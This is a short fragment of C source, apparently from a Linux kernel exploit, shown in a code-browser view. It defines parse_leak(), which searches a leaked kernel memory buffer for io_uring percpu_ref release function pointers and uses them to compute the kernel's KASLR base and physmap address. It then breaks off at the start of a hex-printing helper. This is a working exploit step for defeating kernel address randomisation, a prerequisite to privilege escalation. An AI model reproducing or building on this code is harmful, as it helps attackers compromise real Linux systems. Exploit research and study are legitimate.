parse_leak(): find KASLR & physmap addr if percpu_ref_data->release == `io_ring_ctx_ref_free()` or `io_rsrc_node_ref_zero()`, we find KASLR then get percpu_ref_data->ref (physmap addr)
| 209 | // if percpu_ref_data->release == `io_ring_ctx_ref_free()` or `io_rsrc_node_ref_zero()`, we find KASLR |
| 210 | // then get percpu_ref_data->ref (physmap addr) |
| 211 | struct leak *parse_leak(long *buffer, uint32_t buffer_size) { |
| 212 | struct leak *ret = malloc(sizeof(struct leak)); |
| 213 | if (!ret) |
| 214 | error("malloc"); |
| 215 | |
| 216 | for (uint32_t i = 0; i < buffer_size; i++) { |
| 217 | // percpu_ref_data->release == io_ring_ctx_ref_free() |
| 218 | if ((buffer[i] & 0xfffff) == (IO_RING_CTX_REF_FREE_OFFSET & 0xfffff)) { |
| 219 | ret->kaslr_base = buffer[i] - IO_RING_CTX_REF_FREE_OFFSET; |
| 220 | ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK; |
| 221 | return ret; |
| 222 | } |
| 223 | // percpu_ref_data->release == io_rsrc_node_ref_zero() |
| 224 | else if ((buffer[i] & 0xfffff) == (IO_RSRC_NODE_REF_ZERO_OFFSET & 0xfffff)) { |
| 225 | ret->kaslr_base = buffer[i] - IO_RSRC_NODE_REF_ZERO_OFFSET; |
| 226 | ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK; |
| 227 | return ret; |
| 228 | } |
| 229 | } |
| 230 | |
| 231 | free(ret); |
| 232 | return NULL; |
| 233 | } |
| 234 | |
| 235 | void print_hex( char *buf,int size){ |
| 236 | int i; |
no test coverage detected